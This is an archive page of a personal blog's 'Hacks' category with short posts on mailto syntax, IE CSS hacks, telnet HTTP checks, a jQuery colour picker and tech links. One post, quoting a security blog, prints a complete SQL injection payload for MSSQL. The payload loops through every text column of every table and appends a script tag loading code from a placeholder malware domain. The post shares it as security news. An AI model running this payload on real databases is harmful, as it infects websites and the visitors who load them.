ourlil.com

A web site for tutti noi (all of us!)

  • Home
  • About
  • About – sample
  • Healing Christofer – Fun’-Raiser
    • Gallery
  • JP’s Page

Archive for the ‘Hacks’ Category

MailTo Syntax

Monday, July 26th, 2010

MailTo Syntax.

The MailTo command can do more than enter a single e-mail address in the “Send To” field while activating your e-mail program. It can also:

Feature Syntax
Address message to multiple recipients , (comma separating e-mail addresses)
Add entry in the “Subject” field subject=Subject Field Text
Add entry in the “Copy To” or “CC” field cc=id@internet.node
Add entry in the “Blind Copy To” or “BCC” field bcc=id@internet.node
Add entry in the “Body” field body=Your message here
Within the body use “%0A” for a new line,
use “%0A%0A” for a new line preceded by a blank line (paragraph),
see example below.

Notes:

” “ (beginning and ending double quotes) are necessary if any spaces are used Mailto parameter should be preceded by “?” for the first or only parameter and “&” for second and subsequent parameter.

Some examples, with actual HTML Code included, follow:

Simple MailTo

  • <a href=”mailto:astark1@unl.edu”>MailTo with Multiple Recipients
  • <a href=”mailto:astark1@unl.edu,ASTARK1@UNL.EDU“>MailTo with Subject
  • <a href=”mailto:astark1@unl.edu?subject=Comments from MailTo Syntax Page“>

    MailTo with a Copy

  • <a href=”mailto:astark1@unl.edu?cc=ASTARK1@UNL.EDU“>MailTo with a Blind Copy
  • <a href=”mailto:astark1@unl.edu?bcc=ASTARK1@UNL.EDU“>MailTo with message already started in Body
  • <a href=”mailto:astark1@unl.edu?body=I am having trouble finding information on “>MailTo with multiline message in Body
  • <a href=”mailto:astark1@unl.edu?body=The message’s first paragraph.%0A%0aSecond paragraph.%0A%0AThird Paragraph.“>NOTE: Use “%0A” for a new line, use “%0A%0A” for a new line preceded by a blank line.

Features may be used in combination

  • MailTo with Subject, a Recipient, a Copy and a Blind Copy
  • <a href=”mailto:astark1@unl.edu?subject=MailTo Comments&cc=ASTARK1@UNL.EDU&bcc=id@internet.node”>

Remember to use only one ? (question mark), when providing multiple entries beyond e-mail address

Tags: Hacks, HTML, mail, nifty
Posted in HTML, Hacks, coding, cool | Comments Off

IEBlog : Site Compatibility and IE8

Friday, March 20th, 2009

IEBlog : Site Compatibility and IE8

Here’re a couple of methods for coding to IE8 (new hacks! d’oh!):

Initial CSS Property Values

Unset properties on the currentStyle object now return their initial value. Relying on the old initial values for CSS properties such as z-index can cause problems. This is the root cause of issues with the ASP.NET menu control. SOLUTION: Perform a check for both the backwards compatible value and the standardized initial value.
var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0) {
// custom code
}
var zIndex = elm.currentStyle.zIndex;
if(zIndex == 0 || zIndex == “auto”) {
// custom code
}

Posted in Browsers, Hacks | Comments Off

Tutorials – Servers > Telnet as a Diagnostic Aid

Monday, February 16th, 2009

I don’t know about you, but I can use a reefresher now and again for things like surfing with Telnet to determine if 301 re-directs work…

In a nutshell, you’ll want something like this:

telnet eastvalley.freedomblogging.com 80[cr]
Trying 69.25.233.100…
Connected to eastvalley.freedomblogging.com.
Escape character is ‘^]’.
HEAD / HTTP/1.1[cr]
Host: eastvalley.freedomblogging.com[cr]
[cr]

Note: italic items are sent by the server, whilst non-italic items are typed. Also NOTE the double carriage return ([cr]) at the end.

Tutorials – Servers > Telnet as a Diagnostic Aid

Posted in Hacks, Unix, coding, nifty, tools | Comments Off

Hacking IE CSS: Underscore, Box Model ‘Voice Family’, & Star hacks

Thursday, December 18th, 2008

CSS Hacks

Underscore Hack

/* CSS hack for IE 6 and below */
.test {
  position: fixed;
  _position: absolute;
}

Voice Family (Box Family or Tantek Hack)

/* CSS hack for IE 5.x */
.test {
  width: 500px;
  padding: 50px;
  voice-family: "\"}\"";
  voice-family: inherit;
  width: 400px;
}
html>body .test{
 width: 400px;
}

Backslash Hack

/* CSS hack for IE 5.5 and below */

.test {
  height: 500px;
  he\ight: 400px;
}

Commented Backslash Hack

/* begin hiding from IE5 Mac \*/
.test {
  color: red;
}
/* end */

And then there’s:

/* apply ONLY to IE5 Mac \*//*/
.test {
  color: red;
}
/* end */

High Pass Filter

/* CSS hack hides from browser which don't support @import */
  @import "null.css?\"\{";
  @import "highpass.css";



Posted in Hacks, coding | Comments Off

Farbtastic: jQuery color picker plug-in | Steven Wittens – Acko.net

Friday, September 5th, 2008

Farbtastic Color Picker widgetFarbtastic is a jQuery plug-in that can add one or more color picker widgets into a page through JavaScript. Each widget is then linked to an existing element (e.g. a text field) and will update the element’s value when a color is selected.

Download Farbtastic 1.2 – 8 January 2007 (License: GPL).

Farbtastic: jQuery color picker plug-in | Steven Wittens – Acko.net

Tags: color, javascript, js, picker, tools
Posted in HTML, Hacks, Interactive Team, Web 2.0, WebTech, coding, javascript, nifty, tools | Comments Off

Javascript Format and Colour

Thursday, September 4th, 2008

Javascript Format and Colour

This is a nifty tool to format JavaScript that has been mini-fied. Very nifty for reading JavaScript (although it doesn’t get your function names back, if they’ve been obfuscated…).

Tags: coding, javascript, js, tools
Posted in Hacks, Interactive Team, coding, javascript, tools | Comments Off

TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Tuesday, August 12th, 2008

Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Tags: database, hack
Posted in Hacks, News, Windoze, database, security, whoa! | Comments Off

Workarounds, Filters, and Hacks – SitePoint CSS Reference

Friday, August 8th, 2008

Here’s an interesting site for CSS hacks and workarounds…

Workarounds, Filters, and Hacks – SitePoint CSS Reference

Tags: CSS, Hacks, workarounds
Posted in Hacks, workarounds | Comments Off

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

Tuesday, June 24th, 2008

Here’s a nice discussion on how to improve Mac OS X Security. It contains some dreams about what Mac OS X 10.6 Snow Leopard will bring.

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

Tags: os x
Posted in Hacks, Mac, security | Comments Off

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Thursday, June 12th, 2008

Bob's Weekly Technification

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Robert X. Cringely Cars are the key to U.S. energy consumption. The dominant automotive platform here, whether you drive a truck, a car, or a motorcycle, relies on gasoline-fueled internal combustion engines. That’s the platform we are unlikely to change quickly. So how do we leave that platform intact and unchanged, ask nobody to significantly sacrifice, yet still achieve the noble (and Nobel) goals of lower fuel consumption, lower greenhouse gas emissions, lower pollution levels, dramatically lower oil consumption, lower cost, and lower geopolitical vulnerability for our country? There’s only one way I know to accomplish this: change the fuel.

This happened to a certain extent in Brazil during the ’70s and ’80s by embracing ethanol. But ethanol has less energy per gallon so fuel consumption goes up and mileage goes down. Ethanol can’t be shipped in pipelines also used for oil. Cars have to be modified to run on it and even then there are issues about internal corrosion. Ethanol is far from perfect. What’s needed is a replacement for gasoline that looks and feels and tastes just like gas to your car but isn’t made from oil. Then the platform could remain completely unchanged yet my 1966 Thunderbird (and the world) could benefit starting with the very next tankful.

There is such a fuel, developed by a husband and wife team of scientists working in Indiana in cooperation with Purdue University. This new fuel, called SwiftFuel, is right now intended for airplanes, not cars, but the lessons are the same.

Posted in Hacks, Trends, nifty, security, whoa! | Comments Off

<< Previous

  •  

    May 2012
    S M T W T F S
    « Apr    
     12345
    6789101112
    13141516171819
    20212223242526
    2728293031  
  • Pages

    • About
    • About – sample
    • Healing Christofer – Fun’-Raiser
      • Gallery
    • JP’s Page
  • Archives

    • April 2012
    • November 2011
    • July 2010
    • February 2010
    • November 2009
    • August 2009
    • July 2009
    • June 2009
    • May 2009
    • March 2009
    • February 2009
    • January 2009
    • December 2008
    • October 2008
    • September 2008
    • August 2008
    • July 2008
    • June 2008
    • May 2008
    • April 2008
    • March 2008
    • February 2008
    • December 2007
    • October 2007
    • September 2007
    • August 2007
    • July 2007
    • June 2007
    • May 2007
  • Categories

  • Favorites

    Here're a few sites I like to visit:
    • WPMU.org
    • Holy Shmoly
    • AppleInsider.com
  • Meta

    • Log in
    • Entries RSS
    • Comments RSS
    • WordPress.org

Copyright © 2012 - ourlil.com | Entries (RSS) | Comments (RSS)

WordPress theme designed by web design